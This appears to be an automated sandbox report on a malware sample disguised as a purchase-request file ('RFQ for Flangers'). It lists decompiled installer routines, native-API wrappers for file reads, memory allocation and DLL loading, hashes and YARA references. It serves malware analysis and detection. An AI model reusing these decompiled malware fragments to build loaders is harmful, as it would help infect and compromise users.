							E004059DD(0x420478, 0x424000);
							E0040593B(0x424000, _t22);
							E0040140B(6);
							E004059DD(0x424000, 0x420478);
						}
						L11:
						return CallWindowProcA( *0x420468, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E0040464A(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403DDB(0x413);
				return 0;
			}

0x00404cd7
0x00404cfc
0x00404d1c
0x00404d1f
0x00404d22
0x00404d39
0x00404d3f
0x00404d46
0x00404d4d
0x00404d54
0x00404d59
0x00404d5f
0x00000000
0x00404d6f
0x00404d09
0x00404d5c
0x00404d5c
0x00000000
0x00404d5c
0x00404d15
0x00404d17
0x00000000
0x00404d17
0x00404cdd
0x00000000
0x00000000
0x00404ce4
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404D01
CallWindowProcA.USER32 ref: 00404D6F

Part of subcall function 00403DDB: SendMessageA.USER32 ref: 00403DED

Strings

, xrefs: 00404CD9

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction ID: 2250b5ae86c5db7695da18b81197a994f129f58ca555af08ca8730d1192fac1c
Opcode Fuzzy Hash: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction Fuzzy Hash: 5A118CB1600208BBDF217F629C4099B3B69EF84765F00813BFB14392A2C77C8951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
					_t7 = lstrlenA(E004029F6(0x11));
				} else {
					E004029D9(1);
					 *0x409f50 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405954(_t17 + 8, _t15), "C:\Users\jones\AppData\Local\Temp\nsf9A32.tmp\System.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024be
0x004024be
0x004024c1
0x004024dc
0x004024c3
0x004024c5
0x004024ca
0x004024d1
0x004024e3
0x0040265c
0x0040265c
0x004024e9
0x004024fb
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x0040288e
0x0040289a

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll
API String ID: 427699356-2946870289
Opcode ID: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction ID: 28baf68bc3b2ef7cd727d17ca875bc327529d04ff6cae4c8aacaeccaaba980a4
Opcode Fuzzy Hash: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction Fuzzy Hash: 5AF0B4B2A04241FBDB40BBA09E49AAE37689B00348F10443BA206F51C2D6BC4982A76D

Uniqueness

Uniqueness Score: -1.00%

Function 00403491, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403491() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f434;
				_t3 = E00403476(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f434 =  *0x41f434 & 0x00000000;
				return _t3;
			}

0x00403492
0x0040349a
0x004034a1
0x004034a4
0x004034a4
0x004034a6
0x004034ab
0x004034b2
0x004034b8
0x004034bc
0x004034bd
0x004034c5

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000,00000000,00403469,004032BC,00000000), ref: 004034AB
GlobalFree.KERNEL32 ref: 004034B2

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 004034A3

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe"
API String ID: 1100898210-4107545155
Opcode ID: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction ID: 7bfc0464e02b508f879d35a29cae48101a6ab00b4f5f00e512934bdeb57274a8
Opcode Fuzzy Hash: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction Fuzzy Hash: FBE08C3280653097C7221F05AE04B9AB66C6F94B22F068076E8407B3A1C3782C428AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405517, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405517(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405518
0x00405522
0x00405524
0x0040552b
0x00405533
0x00000000
0x00000000
0x00000000
0x00405533
0x00405535
0x0040553a

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,80000000,00000003), ref: 0040551D
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,80000000,00000003), ref: 0040552B

Strings

C:\Users\user\Desktop, xrefs: 00405517

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 1341b21386aa9ee456471dc2eb10899dbff8c866770b3e7d35d8712ddbbc4649
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: D9D0C7B2509DB06EE7035614DC04B9F7B89DF17710F1944A2E540A61D5D27C5D418BFD

Uniqueness

Uniqueness Score: -1.00%

Function 100010D6, Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010D6(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E, _t52);
				_t43 =  *0x10004058 +  *0x10004058 * 4 << 2;
				_t17 = E10001561();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E1000159E(E100015E5( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E1000160E( *_t55 - 0x30, E10001561());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x10004030;
								 *0x10004030 = _t31;
								E10001854(_t31 + 4,  *0x10004060, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x10004030;
							if( *0x10004030 != 0) {
								E10001854( *0x10004060, _t34 + 4, _t43);
								_t37 =  *0x10004030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x10004030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x100010dd
0x100010e5
0x100010f9
0x10001101
0x1000110c
0x1000110f
0x10001117
0x1000111a
0x1000111c
0x100011ba
0x100011c6
0x10001122
0x10001123
0x10001123
0x10001126
0x10001127
0x1000112a
0x100011f9
0x100011fc
0x10001194
0x1000119a
0x100011a2
0x100011a7
0x100011aa
0x00000000
0x100011aa
0x100011ff
0x10001200
0x1000117c
0x10001182
0x1000118a
0x00000000
0x1000118a
0x10001148
0x10001149
0x10001151
0x1000115e
0x10001166
0x1000116f
0x10001174
0x10001174
0x00000000
0x10001149
0x10001130
0x100011c7
0x100011c7
0x100011ce
0x100011db
0x100011e0
0x100011e5
0x100011eb
0x100011f1
0x100011f1
0x00000000
0x100011ce
0x10001136
0x10001139
0x00000000
0x00000000
0x1000113f
0x10001142
0x10001191
0x00000000
0x10001191
0x10001145
0x10001146
0x10001179
0x00000000
0x10001179
0x00000000
0x100011b0
0x100011b0
0x00000000
0x100011b9

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNEL32(00000040,?), ref: 10001151
GlobalFree.KERNEL32 ref: 100011AA
GlobalFree.KERNEL32 ref: 100011BD
GlobalFree.KERNEL32 ref: 100011EB

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: 63b0637edc7530645d46bec010932f639f2f746b6ed29226dfb72de0ebfb049a
Instruction ID: ed341c900a7ce6bdf815d06216e218db22d2bbb6d3afa64795f6a6593979f754
Opcode Fuzzy Hash: 63b0637edc7530645d46bec010932f639f2f746b6ed29226dfb72de0ebfb049a
Instruction Fuzzy Hash: D031BCB5404655AFF705CF64DCC9BEA7FFCEB092D1B164029FA45D626CEB3099008B64

Uniqueness

Uniqueness Score: -1.00%

Function 00405629, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405629(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405635
0x00405637
0x0040565f
0x00405644
0x00405649
0x00405654
0x00000000
0x00405671
0x0040565d
0x0040565d
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405649
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405657
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 25fbcb832c33ec4964fd827efed06e6d871dcd69bbe6b28132c6debe6a032c6a
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 02F0A736249D51DBC2025B355C04E6FAA94EF92354B54097AF444F2251D33A98129BBF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RE; KOC RFQ for Flangers - RFQ 22965431.exe PID: 6992 Parent PID: 6960 RE; KOC RFQ for Flangers - RFQ 22965431.exeCOMMON

Executed Functions

Function 0041826A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E0041826A(void* __ebx, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t20;
				void* _t30;
				void* _t31;
				intOrPtr* _t32;
				void* _t34;

				asm("sbb dh, ch");
				 *((intOrPtr*)(__ebx - 0x74aa5821)) =  *((intOrPtr*)(__ebx - 0x74aa5821)) + __ebx;
				_t15 = _a4;
				_t32 = _a4 + 0xc48;
				E00418DC0(_t30, _a4, _t32,  *((intOrPtr*)(_t15 + 0x10)), 0, 0x2a);
				_t8 =  &_a32; // 0x413d52
				_t14 =  &_a8; // 0x413d52
				_t20 =  *((intOrPtr*)( *_t32))( *_t14, _a12, _a16, _a20, _a24, _a28,  *_t8, _a36, _a40, _t31, _t34); // executed
				return _t20;
			}

0x0041826a
0x0041826c
0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 004182AD, 004182B4
R=A, xrefs: 00418292, 004182A0

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: 54fa68688075949ca5df1cc2edab08728c59ff943262ab59482c2c595b2214b5
Instruction ID: 5ce8d4acc6dd4ec9b1dd8582fd2d67504a7965059af19436b30b580ef186d664
Opcode Fuzzy Hash: 54fa68688075949ca5df1cc2edab08728c59ff943262ab59482c2c595b2214b5
Instruction Fuzzy Hash: F0F0F9B2204104AFCB04CF99DC94EEB77A9AF9C314F15864DFA1D97241D630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d52
				_t12 =  &_a8; // 0x413d52
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 004182AD, 004182B4
R=A, xrefs: 00418292, 004182A0

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B20(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_v8 =  &_v536;
				_t15 = E0041AB50( &_v12, 0x104, _a8);
				_t32 = _t31 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF70(__eflags, _v8);
					_t33 = _t32 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1F0(__ebx,  &_v12, 0);
						_t33 = _t33 + 8;
					}
					_t18 = E00419300(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b3c
0x00409b3f
0x00409b44
0x00409b49
0x00409b53
0x00409b58
0x00409b5b
0x00409b5d
0x00409b65
0x00409b6a
0x00409b6a
0x00409b71
0x00409b79
0x00409b7c
0x00409b7e
0x00409b92
0x00000000
0x00409b94
0x00409b9a
0x00409b4e
0x00409b4e
0x00409b4e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: f6872c6640a97d379917802917a35d8835196bd2b620e753e6f67e56f73dccdd
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: EC0100B5D0010DBBDB10DAA5EC42FDEB778AB54318F0041A9A908A7281F635EA54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181C0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181cf
0x004181d7
0x0041820d
0x00418211

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004182EB, Relevance: 1.5, APIs: 1, Instructions: 36
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004182EB(signed int __eax, void* _a4, void* _a8, void* _a12, void* _a16, void* _a20) {
				signed char _t9;

				_t9 = __eax ^ 0x00000038;
				asm("repne pop edi");
				if (_t9 != 0) goto L3;
			}

0x004182eb
0x004182ed
0x004182ef

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c7d55205d390a1fbb48be9d72d04b0d524ad03a9fb2d4c7636efdd63316d93a0
Instruction ID: 4897819222ab6a984e5e8b96ae378096f80a7c8677670ba121954032c114abd5
Opcode Fuzzy Hash: c7d55205d390a1fbb48be9d72d04b0d524ad03a9fb2d4c7636efdd63316d93a0
Instruction Fuzzy Hash: 9DF08276200214BBDB10EFD8DC80EEB73ADEF88320F14855DFA5C9B241D630E95187A0

Uniqueness

Uniqueness Score: -1.00%

Function 004183A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041839D, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041839D(void* __edi, intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t16;

				_t12 = _a4;
				_t4 = _t12 + 0xc60; // 0xca0
				E00418DC0(__edi, _a4, _t4,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t16 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t16;
			}

0x004183a3
0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8e3aef5553da45911c62e2adf873b66b0d7d83af7eca465c13d561571c123763
Instruction ID: 33a0b5ba4fbfee08120bbfc0f43b3938cbc9df30af94aa50dc3a25e051168a8d
Opcode Fuzzy Hash: 8e3aef5553da45911c62e2adf873b66b0d7d83af7eca465c13d561571c123763
Instruction Fuzzy Hash: E4F015B6200208AFDB14DF89DC81EEB77A9AF88354F158649FE1897281C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004182F0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A198F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

